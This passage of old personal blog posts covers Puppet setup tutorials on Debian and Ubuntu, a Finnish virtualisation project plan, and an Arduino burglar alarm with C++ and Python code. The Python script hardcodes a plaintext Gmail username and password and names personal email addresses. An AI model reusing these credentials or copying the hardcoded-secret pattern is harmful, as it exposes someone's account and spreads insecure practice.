sudo</span> rm</span> -</span>r</span> /var/lib/puppet/ssl</span>  </span></span>
sudo</span> nano</span> /etc/puppet/puppet.conf</span></span></code></pre>
In the puppet.conf I needed to add the dns_alt_names line to the configuration file:</p>
</a></p>
sudo service puppetmaster start</code></p>
After that it shows the newly created certificates:</p>
sudo ls /var/lib/puppet/ssl/certs/</code></p>
</a></p>
Configuring the client machines</p>
Install puppet:</p>
sudo apt-get install puppet</code></p>
Edit the /etc/puppet/puppet.conf and add the server FQDN to it:</p>
sudo nano /etc/puppet/puppet.conf</code></p>
</a></p>
Because Puppet is not started automatically by default, we need to edit the /etc/default/puppet file and set START=yes:</p>
</a></p>
After doing the configuration, restart the Puppet agent:</p>
sudo service puppet restart</code></p>
Accepting the client machine certificates</p>
Go to the puppetmaster VM:</p>
sudo puppet cert --list</code></p>
Sources</h3>

Vagrant Documentation – Multi-VM environments (http://docs-v1.vagrantup.com/v1/docs/multivm.html</a>)</li>
Tero Karvinen: Linux centralized management lecture 3 (http://terokarvinen.com/2013/aikataulu-%E2%80%93-linuxin-keskitetty-hallinta-%E2%80%93-ict4tn011-4-syksylla-2013</a>)</li>
PuppetMaster on Ubuntu 12.04 (http://terokarvinen.com/2012/puppetmaster-on-ubuntu-12-04</a>)</li>
</ul>


Linux centralized management: Installing PuppetMaster and configuring client-server setup on Debian 7
2013-11-17T00:00:00+00:00
I started by creating three clones of my default Debian VM in VMWare Fusion. I named them debian1-master</strong>, debian1</strong> and debian2</strong>. Debian1-master will be the master server with Puppetmaster and the two others will be client machines.</p>
Setting up name resolving</h3>
Because there is no functional DNS server on my network, I will be using Avahi to get the VMs to resolve each other with their hostnames. The VMs need to find themselves with names, because Puppet uses those names to check the identity of the clients. I did the following steps on every machine:</p>

sudo hostname “machine name” (debian1-master, debian1, debian2)</li>
sudo nano /etc/hostname</li>
sudo nano /etc/hosts</li>
sudo apt-get install avahi-utils</li>
sudo shutdown -r now</li>
</ol>
After these steps, I tested with ping that the master server would see the client machines:</p>
ping debian1.local</span></span>
ping debian2.local</span></span></code></pre>
</p>
I also tested that the client machines would see the master server:</p>
</p>
</p>
Installing Puppetmaster</h3>
On the master server I installed Puppetmaster and configured it:</p>
sudo apt-get install puppetmaster</span></span>
sudo service puppetmaster stop</span></span>
sudo rm -r /var/lib/puppet/ssl</span></span></code></pre>
In the last line we are deleting the invalid certificates that we can create the valid ones. Next I added the dns_alt_names</strong> directive to the /etc/puppet/puppet.conf</strong>-file as Tero’s tutorial</a> suggests:</p>
</p>
Then I just started the Puppetmaster:</p>
sudo service puppetmaster start</span></span></code></pre>Configuring client machines</h3>
On the client machines you need to install Puppet, configure it to connect to server and set it to start automatically:</p>
sudo apt-get install puppet</span></span>
sudo nano /etc/puppet/puppet.conf</span></span></code></pre>
I added the following to the config file:</p>
[agent]</span></span>
server = debian1-master.local</span></span></code></pre>
</p>
Then I edited the /etc/default/puppet</strong> file and set the START=no to yes:</p>
</p>
After making the configuration changes I restarted the Puppet agent:</p>
sudo service puppet restart</span></span></code></pre>Sign the client sertificates</h3>
On the master server you need to sign the client machine certificates. This is the method Puppet checks that the client machines are allowed to receive orders from the server. You can list the certificates waiting for approval on the master server with this command:</p>
sudo puppet cert --list</span></span></code></pre>
You can sign or approve the certs with this command:</p>
sudo puppet cert --sign "machine name"</span></span></code></pre>
</p>
Deploying a test module</h3>
Start by creating a module directory structure in /etc/puppet/modules</strong> directory:</p>
sudo mkdir -p hellotest/manifests</span></span>
sudo nano hellotest/manifests/init.pp</span></span></code></pre>
I wrote this to the init.pp</strong> file:</p>
class hellotest {</span></span>
        file {'/tmp/hellotest':</span></span>
                content => "testing from master\n",</span></span>
        }</span></span>
}</span></span></code></pre>
After saving the module I created a new site.pp</strong> file that defines what the Puppetmaster should do to the environment:</p>
sudo nano /etc/puppet/manifests/site.pp</span></span></code></pre>
I wrote this to the site.pp file:</p>
class {'hellotest':}</span></span></code></pre>
This tells Puppetmaster to deploy the created hellotest-module</strong> to all client machines.</p>
After this I reloaded the Puppet agent on client machines, so they would fetch the new configuration from the master server:</p>
sudo service puppet restart</span></span></code></pre>
And the client machines should have the /tmp/hellotest</strong>-file in them ordered by the testing module:</p>
</p>
Configure nodes</h3>
To get the PuppetMaster to configure different modules to different clients, you need to use node-marking in th site.pp file. I edited the site.pp file to look like this:</p>
node 'debian1.localdomain' {</span></span>
        class {'install-apache':}</span></span>
}</span></span>
</span>
node 'debian2.localdomain' {</span></span>
        class {'hellotest':}</span></span>
}</span></span></code></pre>
(The install-apache-module is a module that I have done in a earlier post</a>.)</p>
After saving the configuration, I deleted the /tmp/hellotest</strong>-file from both client machines to see if the node setting is working. Then I just restarted the Puppet agent on both machines and then tested if there was the hellotest-file on the machines:</p>
</p>
Then I tested if Apache was only installed in debian1-machine:</p>
</p>
 Conclusion</h3>
Puppetmaster is quite complicated thing to set up, but is very rewarding when the system works as intended.</p>
I originally started to work on this assignment using Vagrant, but instead ended up using virtual machines on my local machine as setting a Vagrant environment took too much time and effort to get running smoothly.</p>

On Lucid32 boxes the Puppet agents didn’t contact to the master server for certificate signing. The VMs could see each other and pinging worked between the machines.</li>
Once I got the Precise32 boxes working on Vagrant, for some reason those VMs would not get in to bridged network as I described in the Vagrantfile.</li>
</ul>
Sources</h3>

Learning Puppet – Basic Agent/Master Puppet (http://docs.puppetlabs.com/learning/agent_master_basic.html</a>)</li>
PuppetMaster on Ubuntu 12.04 – Tero Karvinen (http://terokarvinen.com/2012/puppetmaster-on-ubuntu-12-04</a>)</li>
Tero Karvinen: Linux Centralized Management – PuppetMaster Lecture (http://terokarvinen.com/2013/aikataulu-%E2%80%93-linuxin-keskitetty-hallinta-%E2%80%93-ict4tn011-4-syksylla-2013</a>)</li>
</ul>


Linux centralized management: Installing and configuring Apache2 with Puppet module
2013-11-09T00:00:00+00:00
I made a module to Puppet that installs and configures Apache2 package. I changed the default listening port for Apache from port 80 to port 8080 using the a template from a config file.</p>
Installing and starting Apache with a Puppet module</h3>
First I created the usual module directory structure:</p>
mkdir -p install-apache/manifests</span></span>
nano install-apache/manifests/init.pp</span></span></code></pre>
I wrote the following in the init-file:</p>
class install-apache {</span></span>
	package {'apache2':</span></span>
		ensure => 'present',</span></span>
	}</span></span>
</span>
	service {'apache2':</span></span>
		enable => 'true',</span></span>
		ensure => 'running',</span></span>
	}</span></span>
}</span></span></code></pre>
The following code checks that apache2 is installed, and if it is not, it will install it. It will also check that Apache is running. Next I applied the new module with the following command:</p>
sudo puppet apply --modulepath modules/ -e 'class {"install-apache":}'</span></span></code></pre>
</p>
After that I tested with my browser if Apache was installed and started:</p>
</p>
Adding a modified config file</h3>
First create a templates-directory to module root:</p>
mkdir install-apache/templates</span></span>
cp /etc/apache2/ports.conf modules/install-apache/templates/ports.conf.erb</span></span></code></pre>
I edited the template so that the default port for Apache would be 8080 instead of normal 80:</p>
</p>
Then I edited the init.pp manifest file so that it would update the config file with new modifications to update the config file:</p>
file {'/etc/apache2/ports.conf':</span></span>
   content => template('install-apache/ports.conf.erb'),</span></span>
   notify => Service['apache2'],</span></span>
}</span></span></code></pre>
</p>
Finally, I applied the module modifications:</p>
sudo puppet apply --modulepath modules/ -e 'class {"install-apache":}'</span></span></code></pre>
</p>
Modifications has been successfully applied, now to see that the port has changed:</p>
</p>
</p>
In the first picture I tried to use the normal 80 port, where Apache is not listening anymore. When I tried on port 8080, Apache responds me a directory listing, so the module config template works!</p>
Sources</h3>

Learning Puppet – Resource Ordering / Package-File-Service (http://docs.puppetlabs.com/learning/ordering.html#packagefileservice</a>)</li>
Tero Karvinen: Linux Centralized Management lecture 2 (http://terokarvinen.com/2013/aikataulu-%E2%80%93-linuxin-keskitetty-hallinta-%E2%80%93-ict4tn011-4-syksylla-2013</a>)</li>
</ul>


Linux centralized management: Puppet: Using Templates and Facter facts
2013-11-09T00:00:00+00:00
I did some experimenting on using templates and Facter on Puppet with Package-File-Service manifest structure.</p>
Rewriting /etc/motd-file using a Puppet module template</h3>
For the template testing I decided to use it on motd-file, which is used to display a message when you log on a linux-machine from command line.</p>
First I created the directory structure for the new module “motdtest” with the following command:</p>
mkdir -p motdtest/manifests</span></span></code></pre>
Then I created a new manifest file:</p>
nano motdtest/manifests/init.pp</span></span></code></pre>
I wrote the following to the init.pp-file:</p>
class motdtest {</span></span>
	file { '/etc/motd':<</span></span>
		content => template("motdtest/motdtest.erb"),</span></span>
	}</span></span>
}</span></span></code></pre>
Then I created the templates directory to the  module root:</p>
mkdir motdtest/templates</span></span>
nano motdtest/templates/motdtest.erb</span></span></code></pre>
And wrote a message in the file:</p>
</p>
After saving the template file I made a test run on the module to see if it would work:</p>
sudo puppet apply --modulepath modules/ -e 'class {"motdtest":}'</span></span></code></pre>
(Sudo is needed because we are making changes to a system config file with this module.)</p>
</p>
After I run the command above, it says that it has updated the content on /etc/motd-file. Let’s see if my message is in the file:</p>
</p>
Adding Facter variables</h3>
I edited the template file to look like this:</p>
</p>
You can find more facts available with command “facter” and even more with “facter -p”. After saving the changes to the template, I applied the module again:</p>
sudo puppet apply --modulepath modules/ -e 'class {"motdtest":}'</span></span></code></pre>
</p>
And this is the result of the modifications:</p>
</p>
Sources</h3>

Puppet CookBook: Show all facter facts (http://www.puppetcookbook.com/posts/list-facter-facts.html</a>)</li>
Learning Puppet – Templates (http://docs.puppetlabs.com/learning/templates.html</a>)</li>
Tero Karvinen: Linux centralized management lecture (http://terokarvinen.com/2013/aikataulu-%E2%80%93-linuxin-keskitetty-hallinta-%E2%80%93-ict4tn011-4-syksylla-2013</a>)</li>
</ul>


Linux project: From VMWare ESXi-system to open source alternatives
2013-11-05T00:00:00+00:00
Linux-projekti-kurssille ajattelin seuraavanlaista projektia:</p>
Siirtyminen VMWare ESXi-ympäristöstä avoimen lähdekoodin ympäristöön</h3>
Projektin tarkoituksena olisi muuntaa nykyinen VMWare ESXi-pohjainen labraympäristö pyörimään avoimen lähdekoodin työkaluilla ja alustalla. Uusi järjestelmä tulisi pyörimään joko Debianin tai Ubuntun päällä ja se saa mahdollisesti myös graafisen päätteen mediacenter/server-toimintoja ajatellen. Projekti tehdään parityönä Aleksi Kulmalan kanssa.</p>
Vaatimukset uudelle ympäristölle</h3>

Hallintatyökalut etäkäytettäviä ja alustariippumattomia (web-pohjaisuus?)</li>
Järjestelmä pyörii Linuxin päällä (Distribuutio mielellään Debian tai Ubuntu)</li>
Mahdollisuus ajaa Windows-guesteja</li>
Snapshotit</li>
Verkkojen konfigurointi</li>
</ul>
Tutkittavat järjestelmät</h3>

Vagrant</strong></li>
Virtualbox</strong></li>
OpenStack</strong></li>
OpenVZ</li>
KVM</li>
Xen</li>
XenServer</li>
</ul>
Alustava aikataulu</h3>

Seulotaan vaatimuksiin sopivat järjestelmät</li>
Asennetaan valitut järjestelmät testattavaksi -> raportointi</li>
Valitaan sopivin järjestelmä lopulliseen systeemiin</li>
Asennetaan valittu järjestelmä kohderaudalle ja konfiguroidaan toimivaksi</li>
Luodaan uudet virtuaalikoneet tai tehdään migraatio vanhoista virtuaalikoneista</li>
</ol>
Milestonet</h3>
Viikko 46</h4>

Projektisuunnitelman luominen</li>
</ul>
Viikko 47</h4>

Seulotaan vaatimuksiin sopivat järjestelmät</li>
Testataan valitut järjestelmät -> raportit</li>
</ul>
Viikko 48</h4>

Valitaan sopivin järjestelmä lopulliseen rautaan</li>
Asennetaan valittu järjestelmä kohderautaan ja viilataan toimintakuntoon</li>
Luodaan uudet virtuaalikoneet tai tehdään migraatio vanhoista koneista</li>
</ul>
Viikko 49</h4>

Projektin DL 4.12.2013!</strong></li>
Viilataan demot ja esitys kuntoon</li>
</ul>
Viikko 50</h4>

Esitys?</li>
</ul>
Viikko 51</h4>

Esitys?</li>
</ul>


Linux centralized management: Some Puppet module testing
2013-11-03T00:00:00+00:00
After I got Puppet running in my test VM, I wanted to test some simple tasks it could do. After reading the chapter Resources and the RAL</a> from Puppet documentation, I started to test it on my test VM.</p>
Creating a user</h3>
I started testing with user creation. I created the default module directory structure for the module “puppetUserTest”:</p>
mkdir -p puppetUserTest/manifests</span></span></code></pre>
(The -p</strong> argument lets us to create the two directories with one command.)</p>
Then I started to write the init.pp file that is needed for Puppet modules:</p>
nano /puppetUserTest/manifests/init.pp</span></span></code></pre>
I wrote the following code to the file:</p>
class puppetUserTest {</span></span>
	user { 'puppetUser':</span></span>
		ensure => 'present',</span></span>
		home => '/home/puppetUser',</span></span>
		shell => '/bin/bash'</span></span>
	}</span></span>
}</span></span></code></pre>
Then I saved the file and tested it with the following command (sudo is needed in this case as I am creating a user):</p>
sudo puppet apply puppetUserTest/manifests/init.pp</span></span></code></pre>
</p>
And voilà, we have a new user in the system:</p>
</p>
Listing from /etc/passwd file.</p>
Installing a software package</h3>
Next I tested if I could simply install Apache Web Server to my VM and check that it was started.</p>
Again I created a new directory structure with the following command:</p>
mkdir -p installApache2/manifests</span></span></code></pre>
Then I created the configuration file with the command:</p>
nano installApache2/manifests/init.pp</span></span></code></pre>
I wrote the following configuration to the file:</p>
class installApache2 {</span></span>
	# Install Apache2 if it isn't already</span></span>
	package { 'apache2':</span></span>
		ensure => installed,</span></span>
	}</span></span>
</span>
	# Ensure that Apache2 is running</span></span>
	service { 'apache2':</span></span>
 		ensure => running,</span></span>
 		enable => true,</span></span>
	}</span></span>
}</span></span></code></pre>
After I was done with the configuration, I made a test run on it with the command:</p>
sudo puppet apply installApache2/manifests/init.pp</span></span></code></pre>
So, the result was a wall of text with error messages:</p>
</p>
As I investigated the resolving errors, I found out that my internet connection was down. When I switched over to mobile broadband, I was able to continue to try again my puppet module.</p>
</p>
From the process listing we can see that apache2 is running. I tested if it was really working by going to the server with a browser:</p>
</p>
Yay, it works!</p>
Conclusion</h3>
As I made these tests on my test VM, I was amazed how simple it was to make these config files. It took me less than an hour to do all this, including writing this post which took most of the time.</p>
Sources</h3>

Learning Puppet – Resources and RAL (http://docs.puppetlabs.com/learning/ral.html</a>)</li>
Learning Puppet – Modules and Classes (http://docs.puppetlabs.com/learning/modules1.html</a>)</li>
Tero Karvinen: Puppet Reading List (http://terokarvinen.com/2012/puppet-reading-list</a>)</li>
</ul>


Linux centralized management: Installing and testing Puppet on Debian 7
2013-10-29T00:00:00+00:00
Installing and configuring Puppet on Debian isn’t very different than in Ubuntu as they are practically the same platform. Here is my notes from testing Puppet on Debian.</p>
Installing Puppet client</h2>
Installing the client is easy and can be installed straight from apt:</p>
sudo apt-get update</span></span>
sudo apt-get install puppet</span></span></code></pre>
(And yes, I have sudo</em> installed on my Debian test box for convenience.)</p>
First Puppet test program</h2>
When the installation is ready, you should test Puppet to make sure it is working. This can be done with a simple one line puppet program in terminal (Thanks to Tero for this nifty example):</p>
puppet apply -e 'file { "/tmp/helloPuppet": content => "This is a Puppet example!\n" }'</span></span></code></pre>
If everything is working, you should see notice-line in the terminal window saying that the “content is defined as md5” etc.</p>
If you try to run the same line again, you will only get response “Finished catalog run in x.xx seconds” as the file has not changed:</p>
</p>
What if we change the content of the command? Let’s test it:</p>
puppet apply -e 'file { "/tmp/helloPuppet": content => "This is a modified Puppet example!\n" }'</span></span></code></pre>
As we can see, Puppet detects that the file /tmp/helloPuppet has different content than what we told it in the command above and will update the file. When we run the same command again, it detects that the file does not differ from the content on our command and will not update it:</p>
</p>
Sources</h2>
– Introduction on Puppet at Linux Centralized Management course (Tero Karvinen) – http://terokarvinen.com/2013/aikataulu-%E2%80%93-linuxin-keskitetty-hallinta-%E2%80%93-ict4tn011-4-syksylla-2013</a>
– Tero Karvinen: Hello Puppet revisited – on Ubuntu 12.04 – http://terokarvinen.com/2013/hello-puppet-revisited-%E2%80%93-on-ubuntu-12-04-lts</a></p>


Installing PDF Viewer to SRWare Iron on Mac
2013-10-10T00:00:00+00:00
If you are using SRWare Iron, you might have noticed that it does not open PDF-files in browser like Google Chrome does. Here is how to get the PDF-viewer to Iron:</p>

Download Google Chrome, open the dmg-image but don’t install it.</li>
Right-click (or Ctrl+click) the Chrome application and select “Show package contents”.</li>
Navigate to “Contents/Versions//Google Chrome Framework.framework/Internet Plug-Ins/”. In this folder you should see a file named “PDF.plugin”, copy it to your desktop. You can close now the Finder window and unmount the Chrome installation image.</li>
Close Iron if it is running. Open Finder and go to your /Applications folder. Right-click (or Ctrl+click) the  SRWare Iron application and select “Show package contents”.</li>
Navigate to “Contents/Versions//Chromium Framework.framework/Internet Plug-Ins/”.</li>
Copy the “PDF.plugin” file from your desktop to this folder.</li>
Close all Finder windows and re-open Iron. Now you should be able to view PDF files in your browser!</li>
</ol>
Sources</h2>

How to Get Chrome’s PDF Viewer in SRWare Iron (http://wiredhut.blogspot.it/2012/06/how-to-get-chromes-pdf-viewer-in-srware.html)</a></li>
</ul>


Projektityö: Varashälytin Arduinolla
2013-05-10T00:00:00+00:00
Prototyypin rakentaminen-kurssin projektityönä minulla on varashälytin, joka liikkeen sekä oven avaamisen. Se kerää lokitiedostoa tietokoneelle ja lähettää hälytyksen sähköpostitse jos hälytys laukeaa.</p>
Laitteeseen on kytketty näyttö, josta näkee tilatietoa varashälyttimen tilasta. Laitteessa on myös RFID-lukija, jolla varashälytin aktivoidaan ja deaktivoidaan.</p>
</p>
</p>
Arduinon pinnijärjestys</h2>
Arduinon lähes kaikki digitaalipinnit ovat käytössä. Seuraavassa lista pinneistä ja mihin ne on kytketty:</p>

2: LCD pin D7</li>
3: LCD pin D6</li>
4: LCD pin D5</li>
5: LCD pin D4</li>
6: Vihreä led</li>
7: Magneettikytkimen signaalijohto</li>
8: Liiketunnistimen signaalijohto</li>
9: Piezo</li>
10: iButton RFID-lukija</li>
11: LCD pin Enable</li>
12: LCD pin RS</li>
13: Punainen Led</li>
</ul>
Arduinon ohjelmalogiikka</h2>
Varashälyttimen toimintalogiikka Arduinossa on jaettu SchedulerARMAVR-kirjaston avulla kahteen looppiin, joista toinen tarkkailee RFID-lukijaa sekä ohjaa näyttöä, ja toinen joka tarkkailee magneettisensoria ja liiketunnistinta.</p>
Varashälytin tarkkailee jatkuvasti sensoreita, mutta ilmoittaa tapahtumista näytöllä vain “Armed”-tilassa. Sarjaportin yli tapahtumia kirjataan jatkuvasti hälytyksen tilasta riippumatta.</p>
Kun hälytin kytketään “Armed”-tilaan, Arduino tarkkailee magneettikytkintä ja liiketunnistinta. Jos liikettä havaitaan tai ovi on auki yli 10 sekunnin ajan(toteutuksessa on havaittu ettei aikaraja aina täsmää jos liike ei ole jatkuvaa), hälytys laukeaa joka ilmoitetaan äänimerkillä, näytöllä sekä sarjaportin ylitse tietokoneelle. Aikaraja näkyy näytön oikeassa yläreunassa. Hälytyksen voi kuitata vain oikealla RFID-tunnisteella tai painamalla Arduinon Reset-painiketta.</p>
</p>
varashalytin_final.ino:</a></h2>
#include <SchedulerARMAVR.h></span></span>
#include <LiquidCrystal.h></span></span>
#include <OneWire.h></span></span>
</span>
/*</span></span>
  Varashälytinohjelma, joka tarkkailee liikettä</span></span>
  ja magneettikytkintä ja hälyttää niistä sarja-</span></span>
  portin ylitse.</span></span>
  </span></span>
  Author: Joni Junni</span></span>
  Date: 13.5.2013</span></span>
  </span></span>
*/</span></span>
</span>
// initialize the library with the numbers of the interface pins</span></span>
LiquidCrystal lcd(12, 11, 5, 4, 3, 2);</span></span>
</span>
int redLedPin = 13;</span></span>
int greenLed = 6;</span></span>
int pirPin = 8;</span></span>
int magnetPin = 7;</span></span>
int pirState = LOW;</span></span>
int val = 0;</span></span>
int i = 0;</span></span>
int sensorPin = 0;</span></span>
int alertTimer = 10;</span></span>
boolean armedState;</span></span>
boolean magnetState;</span></span>
boolean motionState;</span></span>
boolean alarmConfirmed;</span></span>
</span>
// Piezo stuff</span></span>
int  NOTEg = 2550;    // 392 Hz </span></span>
int  NOTEC = 1912;    // 523 Hz </span></span>
int  NOTER = 0;      // REST-note</span></span>
int speakerOut = 9;</span></span>
int melody[] = {NOTEC, NOTEg};</span></span>
int beats[]  = {16, 16}; </span></span>
int MAX_COUNT = sizeof(melody) / 2; // Melody length, for looping.</span></span>
long tempo = 10000;</span></span>
int rest_count = 100;</span></span>
int tone_ = 0;</span></span>
int beat = 0;</span></span>
long duration  = 0;</span></span>
void playTone() {</span></span>
  long elapsed_time = 0;</span></span>
  if (tone_ > 0) { // if this isn't a Rest beat, while the tone has </span></span>
    //  played less long than 'duration', pulse speaker HIGH and LOW</span></span>
    while (elapsed_time < duration) {</span></span>
      digitalWrite(speakerOut,HIGH);</span></span>
      delayMicroseconds(tone_ / 2);</span></span>
      digitalWrite(speakerOut, LOW);</span></span>
      delayMicroseconds(tone_ / 2);</span></span>
      elapsed_time += (tone_);</span></span>
    } </span></span>
  }</span></span>
  else { // Rest beat; loop times delay</span></span>
    for (int j = 0; j < rest_count; j++) { // See NOTE on rest_count</span></span>
      delayMicroseconds(duration);  </span></span>
    }                                </span></span>
  }                                 </span></span>
}</span></span>
</span>
// RFID Stuff</span></span>
OneWire ds(10); // iButton reader pin</span></span>
byte addr[8]; // Data read from the iButton reader</span></span>
int but[6] = {</span></span>
  195,133,181,20,0,0}; // Allowed RFID-authentication button</span></span>
String keyStatus="";</span></span>
</span>
void setup() {</span></span>
  Serial.begin(9600);</span></span>
  pinMode(redLedPin, OUTPUT);</span></span>
  pinMode(greenLed, OUTPUT);</span></span>
  pinMode(magnetPin, INPUT);</span></span>
  pinMode(pirPin, INPUT);</span></span>
  pinMode(speakerOut, OUTPUT); </span></span>
  lcd.begin(16, 2);</span></span>
  armedState = false;    // Used for setting system state</span></span>
  motionState = false;  // Used for detecting motion state</span></span>
  magnetState = false;  // Used for detecting door state</span></span>
  alarmConfirmed = false;  // Used to reset triggered alarm</span></span>
  Scheduler.startLoop(loop2);  // Starts additional loop function</span></span>
}</span></span>
</span>
void loop() {</span></span>
  // Check for auth key button</span></span>
  getKeyCode();</span></span>
  if(armedState == false) {</span></span>
    lcd.clear();</span></span>
    lcd.print("SYSTEM:DISARMED");</span></span>
  } </span></span>
  else {</span></span>
    if(alertTimer == 0 && alarmConfirmed == false) {</span></span>
      lcd.clear();</span></span>
      lcd.print("ALARM TRIGGERED!");</span></span>
      lcd.setCursor(0, 1);</span></span>
      lcd.print("EMAIL SENT!");</span></span>
    } else {</span></span>
    lcd.clear();</span></span>
    lcd.print("SYSTEM:ARMED  ");</span></span>
    lcd.print(alertTimer);</span></span>
    if(motionState == true) {</span></span>
      lcd.setCursor(0, 1);</span></span>
      lcd.print("MOTION DETECTED");</span></span>
    }</span></span>
    if(magnetState == true) {</span></span>
      lcd.setCursor(0, 1);</span></span>
      lcd.print("                ");</span></span>
      lcd.setCursor(0, 1);</span></span>
      lcd.print("DOOR OPEN");</span></span>
    }</span></span>
    }</span></span>
  }</span></span>
</span>
</span>
  Scheduler.delay(1000); // Poll every second</span></span>
}</span></span>
void loop2() {</span></span>
  checkPirSensor();</span></span>
  checkMagnetSensor();</span></span>
  Scheduler.delay(1000);</span></span>
  yield();</span></span>
}</span></span>
</span>
void checkPirSensor() {</span></span>
</span>
  val = digitalRead(pirPin);</span></span>
</span>
  // Motion detected</span></span>
  if (val == HIGH) {</span></span>
    motionState = true;</span></span>
    if(armedState == true) {    </span></span>
      if(alertTimer > 0) {</span></span>
        alertTimer = alertTimer - 1;</span></span>
      } </span></span>
      else {</span></span>
        Serial.println("ALARM");</span></span>
        // Trigger alarm</span></span>
        triggerAlarm();</span></span>
      }</span></span>
      blinkAlertLed();</span></span>
    }</span></span>
    Serial.println("P");</span></span>
  } </span></span>
  else {</span></span>
    // Send a signal to serial port that motion has stopped</span></span>
    if(motionState == true) {</span></span>
      Serial.println("PS");</span></span>
    }</span></span>
    motionState = false;</span></span>
  }</span></span>
}</span></span>
</span>
void checkMagnetSensor() {</span></span>
</span>
  val = digitalRead(magnetPin);</span></span>
</span>
  // Magnet switch is open (Door is open)</span></span>
  if (val == HIGH) {</span></span>
    //lcd.clear();</span></span>
    lcd.setCursor(0, 1);</span></span>
    magnetState = true;</span></span>
    if(armedState == true) {    </span></span>
      if(alertTimer > 0) {</span></span>
        alertTimer = alertTimer - 1;</span></span>
      } </span></span>
      else {</span></span>
        // Trigger alarm</span></span>
        Serial.println("ALARM");</span></span>
        triggerAlarm();</span></span>
</span>
      }</span></span>
      blinkAlertLed();</span></span>
    }</span></span>
    Serial.println("M");</span></span>
  } </span></span>
  else {</span></span>
    // Send a signal to serial port that door has been closed</span></span>
    if(magnetState == true) {</span></span>
      Serial.println("MS");</span></span>
    }</span></span>
    magnetState = false;</span></span>
</span>
  }</span></span>
}</span></span>
void checkLogin() {</span></span>
  // If key button format is ok</span></span>
  if(keyStatus=="ok"){</span></span>
    /*</span></span>
  byte i;</span></span>
     for( i = 5; i >0; i--) {</span></span>
     Serial.print(" : ");</span></span>
     Serial.print(addr[i], DEC);</span></span>
     }</span></span>
     Serial.println();</span></span>
     */</span></span>
    // Check if user is authorized</span></span>
    if(addr[1] == but[0] && addr[2] == but[1] && addr[3] == but[2] && addr[4] == but[3]) {</span></span>
      FlashGreenLed();</span></span>
      Serial.println("AU");</span></span>
      if(armedState == false) {</span></span>
        setArmed();</span></span>
      } </span></span>
      else {</span></span>
        setDisarmed();</span></span>
      }</span></span>
      if(alarmConfirmed == false && alertTimer == 0) {</span></span>
        alarmConfirmed = true;</span></span>
      }</span></span>
    } </span></span>
    else {</span></span>
      Serial.println("UU");</span></span>
      blinkAlertLed();</span></span>
    }</span></span>
  }</span></span>
</span>
}</span></span>
</span>
void getKeyCode(){</span></span>
  keyStatus="";</span></span>
</span>
  // If there is nothing to read, stop and return</span></span>
  if ( !ds.search(addr)) {</span></span>
    ds.reset_search();</span></span>
    return;</span></span>
  }</span></span>
  keyStatus="ok";</span></span>
  checkLogin();</span></span>
  ds.reset();</span></span>
}</span></span>
</span>
void blinkAlertLed() {</span></span>
  // Blink the alert led</span></span>
  for(i=0;i<5;i++) {</span></span>
    digitalWrite(redLedPin, HIGH);</span></span>
    Scheduler.delay(200);</span></span>
    digitalWrite(redLedPin, LOW);</span></span>
    Scheduler.delay(200);</span></span>
  } </span></span>
}</span></span>
void FlashGreenLed() {</span></span>
  digitalWrite(greenLed, HIGH);</span></span>
  Scheduler.delay(1500);</span></span>
  digitalWrite(greenLed, LOW);</span></span>
}</span></span>
void setArmed() {</span></span>
  Serial.println("A");</span></span>
  armedState = true;</span></span>
  alertTimer = 10; // Reset alert timer</span></span>
  alarmConfirmed = false;</span></span>
}</span></span>
void setDisarmed() {</span></span>
  Serial.println("D");</span></span>
  armedState = false; </span></span>
}</span></span>
void triggerAlarm() {</span></span>
  // Set up a counter to pull from melody[] and beats[]</span></span>
  while(alarmConfirmed == false) {</span></span>
    for (int i=0; i<MAX_COUNT; i++) {</span></span>
      tone_ = melody[i];</span></span>
      beat = beats[i];</span></span>
      duration = beat * tempo; // Set up timing</span></span>
      playTone(); </span></span>
      Scheduler.delay(1);    </span></span>
    }</span></span>
  }</span></span>
}</span></span></code></pre>Sarjaporttikommunikaatio tietokoneen kanssa</h2>
Varashälytin kommunikoi tietokoneen kanssa sarjaportin yli lokitiedoston kirjoittamista sekä varoitusviestin lähettämistä varten. Määritin varashälyttimen koodiin seuraavanlaiset komennot jota se voi tietokoneelle lähettää:</p>

P: Liiketunnistin havaitsee liikettä</li>
M: Ovi on auki (magneettikytkin)</li>
AU: Sallittu käyttäjä tunnistautunut (RFID)</li>
UU: Ei-sallittu käyttäjä tunnistautunut (RFID)</li>
A: Hälytin Armed-tilassa</li>
D: Hälytin Disarmed-tilassa</li>
ALARM: Hälytys on lauennut</li>
MS: Ovi on sulkeutunut (magneettikytkin)</li>
PS: Liiketunnistin ei havaitse enää liikettä</li>
</ul>
Tietokoneen päässä on python-ohjelma kuuntelemassa sarjaporttia ja se suorittaa komentoja sen mukaan mitä varashälytin sille syöttää. Ohjelma hoitaa tapahtumien kirjoittamisen lokiin sekä sähköpostivaroituksen lähettämisen jos hälytys laukeaa.</p>
varashalytin.py:</a></h2>
#!/usr/bin/env python</span></span>
#coding: utf8</span></span>
# Ohjelma joka kuuntelee varashälyttimen sarjaporttia</span></span>
# ja suorittaa komentoja sen mukaan mitä hälytin käskee</span></span>
# Author: Joni Junni</span></span>
# Date: 13.5.2013</span></span>
</span>
import serial</span></span>
import time</span></span>
import smtplib</span></span>
</span>
ser1 = serial.Serial("/dev/tty.usbmodem1421")</span></span>
</span>
while True:</span></span>
	try:</span></span>
		line = ser1.readline()</span></span>
		#print(line)</span></span>
		timestamp = time.asctime( time.localtime(time.time()) )</span></span>
</span>
		if line.find('ALARM') !=-1:</span></span>
			message =  timestamp + ': ALARM WAS TRIGGERED'</span></span>
</span>
			sender = 'arduinohalytys@gmail.com'</span></span>
			receivers = ['joni.junni@me.com']</span></span>
</span>
			emailmsg = """From: Arduino Alert <arduinohalytys@gmail.com></span></span>
To: Joni Junni <joni.junni@me.com></span></span>
Subject: Alert was triggered!</span></span>
</span>
Your home might be intruded.</span></span>
						"""</span></span>
</span>
			try:</span></span>
				smtpObj = smtplib.SMTP('smtp.gmail.com', 587)</span></span>
				smtpObj.ehlo()</span></span>
				smtpObj.starttls()</span></span>
				smtpObj.ehlo()</span></span>
				smtpObj.login('arduinohalytys','Trolololo')</span></span>
   				smtpObj.sendmail(sender, receivers, emailmsg)         </span></span>
   				print "Successfully sent email"</span></span>
			except smtplib.SMTPException:</span></span>
   				print "Error: unable to send email"</span></span>
   			</span></span>
		elif line.find('UU') !=-1:</span></span>
			message = timestamp + ': Unauthorized user tried to log in'</span></span>
		elif line.find('AU') !=-1:</span></span>
			message = timestamp + ': Authorized user has been logged'</span></span>
		elif line.find('MS') !=-1:</span></span>
			message = timestamp + ': Door was Closed'</span></span>
